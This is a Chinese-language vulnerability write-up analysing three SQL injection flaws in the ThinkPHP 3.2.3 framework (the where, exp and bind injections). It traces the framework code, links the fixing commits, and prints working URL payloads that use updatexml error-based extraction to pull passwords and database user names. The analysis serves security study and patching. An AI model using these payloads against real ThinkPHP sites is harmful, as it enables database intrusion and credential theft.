Thinkphp3 漏洞总结
先总结thinkphp3的漏洞
写在前文
thinkphp3.2.3 where注入
基础
thinkphp3版本路由格式
1http://php.local/thinkphp3.2.3/index.php/Home/Index/index/id/1
2 模块/控制器/方法/参数
还可以用
1http://php.local/thinkphp3.2.3/index.php?s=Home/Index/index/id/1
具体移步 https://www.kancloud.cn/manual/thinkphp/1711
thinkphp内置了几种方法,比如I(),M()等等
1A 快速实例化Action类库
2B 执行行为类
3C 配置参数存取方法
4D 快速实例化Model类库
5F 快速简单文本数据存取方法
6L 语言参数存取方法
7M 快速高性能实例化模型
8R 快速远程调用Action类方法
9S 快速缓存存取方法
10U URL动态生成和重定向方法
11W 快速Widget输出方法
具体看 ThinkPHP/Common/functions.php
配置环境
首先配置好数据库 ThinkPHP/Conf/convention.php
1/* 数据库设置 */
2'DB_TYPE' => 'mysql', // 数据库类型
3'DB_HOST' => 'localhost', // 服务器地址
4'DB_NAME' => 'thinkphp', // 数据库名
5'DB_USER' => 'root', // 用户名
6'DB_PWD' => 'root', // 密码
7'DB_PORT' => '3306', // 端口
然后访问 http://php.local/thinkphp3.2.3/ 会自动生成模块,当前目录结构
太多了,展开查看
``` PS E:\code\php\thinkphp\thinkphp3.2.3> tree 卷 文档 的文件夹 PATH 列表 卷序列号为 DA18-EBFA E:. ├─.idea ├─Application 应用目录 │ ├─Common 公共模块 │ │ ├─Common │ │ └─Conf │ ├─Home 首页模块 │ │ ├─Common │ │ ├─Conf │ │ ├─Controller │ │ ├─Model │ │ └─View │ └─Runtime 运行时 │ ├─Cache │ │ └─Home │ ├─Data │ ├─Logs │ │ └─Home │ └─Temp ├─Public └─ThinkPHP 核心 ├─Common ├─Conf ├─Lang ├─Library │ ├─Behavior │ ├─Org │ │ ├─Net │ │ └─Util │ ├─Think │ │ ├─Cache │ │ │ └─Driver │ │ ├─Controller │ │ ├─Crypt │ │ │ └─Driver │ │ ├─Db │ │ │ └─Driver │ │ ├─Image │ │ │ └─Driver │ │ ├─Log │ │ │ └─Driver │ │ ├─Model │ │ ├─Session │ │ │ └─Driver │ │ ├─Storage │ │ │ └─Driver │ │ ├─Template │ │ │ ├─Driver │ │ │ └─TagLib │ │ ├─Upload │ │ │ └─Driver │ │ │ ├─Bcs │ │ │ └─Qiniu │ │ └─Verify │ │ ├─bgs │ │ └─zhttfs │ └─Vendor │ ├─Boris │ ├─EaseTemplate │ ├─Hprose │ ├─jsonRPC │ ├─phpRPC │ │ ├─dhparams │ │ └─pecl │ │ └─xxtea │ │ └─test │ ├─SmartTemplate │ ├─Smarty │ │ ├─plugins │ │ └─sysplugins │ ├─spyc │ │ ├─examples │ │ ├─php4 │ │ └─tests │ └─TemplateLite │ └─internal ├─Mode 模型 │ ├─Api │ ├─Lite │ └─Sae └─Tpl ```配置控制器
Application/Home/Controller/IndexController.class.php
1public function index()
2{
3$data = M('users')->find(I('GET.id'));
4var_dump($data);
5}
payload
1http://php.local/thinkphp3.2.3/?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
分析
当我们简单传入id=1'
时,跟着走一遍
I()
函数中获取参数,会经过ThinkPHP/Common/functions.php:391
htmlspecialchars()
进行处理,最后在ThinkPHP/Common/functions.php:442
回调think_filter
函数进行过滤
1function think_filter(&$value)
2{
3 // TODO 其他安全过滤
4
5 // 过滤查询特殊字符
6 if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
7 $value .= ' ';
8 }
9}
然后进入ThinkPHP/Library/Think/Model.class.php:779
的find()
方法,又会经过ThinkPHP/Library/Think/Model.class.php:811
_parseOptions()
方法
到这我们的id还是为
1'
的
跟进
_parseOptions()
ThinkPHP/Library/Think/Model.class.php:681
其中有类型验证_parseType()
函数
1// 字段类型验证
2if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
3 // 对数组查询条件进行字段类型检查
4 foreach ($options['where'] as $key => $val) {
5 $key = trim($key);
6 if (in_array($key, $fields, true)) {
7 if (is_scalar($val)) {
8 $this->_parseType($options['where'], $key);
9 }
10 } elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
11 if (!empty($this->options['strict'])) {
12 E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=>' . $val . ']');
13 }
14 unset($options['where'][$key]);
15 }
16 }
17}
如果满足if条件则进入 ThinkPHP/Library/Think/Model.class.php:737
1protected function _parseType(&$data, $key)
2{
3 if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
4 $fieldType = strtolower($this->fields['_type'][$key]);
5 if (false !== strpos($fieldType, 'enum')) {
6 // 支持ENUM类型优先检测
7 } elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
8 $data[$key] = intval($data[$key]);
9 } elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
10 $data[$key] = floatval($data[$key]);
11 } elseif (false !== strpos($fieldType, 'bool')) {
12 $data[$key] = (bool) $data[$key];
13 }
14 }
15}
在这他把id进行了强制类型转换,然后返回给_parseOptions()
,最终带入$this->db->select($options)
进行查询避免了注入问题。
理一下 传入id=1'
-> I()
-> find()
-> _parseOptions()
-> _parseType()
然后将我们的字符串清理了。
要知道id参数被改变的时间点在_parseType()
中,那进入这个方法要满足
1if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
所以传入index.php?id[where]=3 and 1=1
就可以注入了
修复
https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04
v3.2.4
将$options
和$this->options
进行了区分,从而传入的参数无法污染到$this->options
,也就无法控制sql语句了。
thinkphp 3.2.3 exp注入
payload
1http://php.local/thinkphp3.2.3/index.php?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
环境
1public function index()
2{
3 $User = D('Users');
4 $map = array('username' => $_GET['username']);
5 // $map = array('username' => I('username'));
6 $user = $User->where($map)->find();
7 var_dump($user);
8}
我们使用全局数组传参,而不是I()
函数。下文会解释
分析
打断点分析,find()
函数会执行到ThinkPHP/Library/Think/Model.class.php:822
的$this->db->select($options)
1public function select($options = array())
2{
3 $this->model = $options['model'];
4 $this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
5 $sql = $this->buildSelectSql($options);
6 $result = $this->query($sql, !empty($options['fetch_sql']) ? true : false);
7 return $result;
8}
然后跟进buildSelectSql()
1public function buildSelectSql($options = array())
2{
3 if (isset($options['page'])) {
4 // 根据页数计算limit
5 list($page, $listRows) = $options['page'];
6 $page = $page > 0 ? $page : 1;
7 $listRows = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20);
8 $offset = $listRows * ($page - 1);
9 $options['limit'] = $offset . ',' . $listRows;
10 }
11 $sql = $this->parseSql($this->selectSql, $options);
12 return $sql;
13}
跟进$this->parseSql()
到
1public function parseSql($sql, $options = array())
2{
3 $sql = str_replace(
4 array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
5 array(
6 $this->parseTable($options['table']),
7 $this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
8 $this->parseField(!empty($options['field']) ? $options['field'] : '*'),
9 $this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
10 $this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
11 $this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
12 $this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
13 $this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
14 $this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
15 $this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
16 $this->parseLock(isset($options['lock']) ? $options['lock'] : false),
17 $this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
18 $this->parseForce(!empty($options['force']) ? $options['force'] : ''),
19 ), $sql);
20 return $sql;
21}
这部分是通过parse
系列函数来构建SQL语句,我们的关注点在parseWhere()
函数,跟进到
ThinkPHP/Library/Think/Db/Driver.class.php:586
的 parseWhereItem()
关键点就在于
1elseif ('bind' == $exp) {
2 // 使用表达式
3 $whereStr .= $key . ' = :' . $val[1];
4} elseif ('exp' == $exp) {
5 // 使用表达式
6 $whereStr .= $key . ' ' . $val[1];
7}
在exp的那个elseif语句中把where
条件直接用点拼接,造成SQL注入。让我们来分析下怎么进入到这个语句块,首先在parseWhere()
中是肯定会进入parseWhereItem()
方法中,这是无可厚非的。再来看
要满足$val是数组,并且索引为0的值为字符串'exp',那么就可以拼接sql语句了。所以我们传入
username[0]=exp&username[1]==1 and aaa
细心的同学会发现bind也是拼接的,下文分析。
然后我们来说下为什么不用I()
函数来获取参数,而使用原生超全局数组。在I()
函数中,最后回调了一个think_filter()
函数
1is_array($data) && array_walk_recursive($data, 'think_filter');
1function think_filter(&$value)
2{
3 // TODO 其他安全过滤
4
5 // 过滤查询特殊字符
6 if (preg_match('/^(NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
7 $value .= ' ';
8 }
9}
可以看到过滤了EXP字符串,会在后面拼接上一个空格,那这样后面parseWhereItem()
中就不满足条件抛出异常导致无法注入。
修复
使用I()
函数代替超全局数组获取变量
thinkphp 3.2.3 bind注入
上文中写到了exp注入,这篇讲bind注入
payload
1http://php.local/thinkphp3.2.3/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
这里需要注意id[1]=0
原理在下面说
搭建环境
1public function index()
2{
3 $User = M("Users");
4 $user['id'] = I('id');
5 $data['password'] = I('password');
6 $valu = $User->where($user)->save($data);
7 var_dump($valu);
8}
输入payload,为了讲解上文中id[1]=0
的原理,我们输入payload
1http://php.local/thinkphp3.2.3/index.php?id[0]=bind&id[1]=aa&password=1
报错
打断点在save()函数
跟进后进入update()函数ThinkPHP/Library/Think/Db/Driver.class.php:983
可以看到经过了parseWhere()
,那么根据上文我们分析过的exp注入,知道还有一个bind
注入,所以传入id[0]=bind&id[1]=aa
然后我们的sql语句就变为
可以看到多了个冒号,在哪里替换了这个冒号?我们进入到
ThinkPHP/Library/Think/Db/Driver.class.php:207
的execute()
1if (!empty($this->bind)) {
2 $that = $this;
3 $this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) { return '\'' . $that->escapeString($val) . '\'';}, $this->bind));
4}
这几行就是替换操作,是将:0
替换为外部传进来的字符串,所以我们让我们的参数也等于0,这样就拼接了一个:0
,然后会通过strtr()
被替换为1,这样sql语句就通顺了。
修复
https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。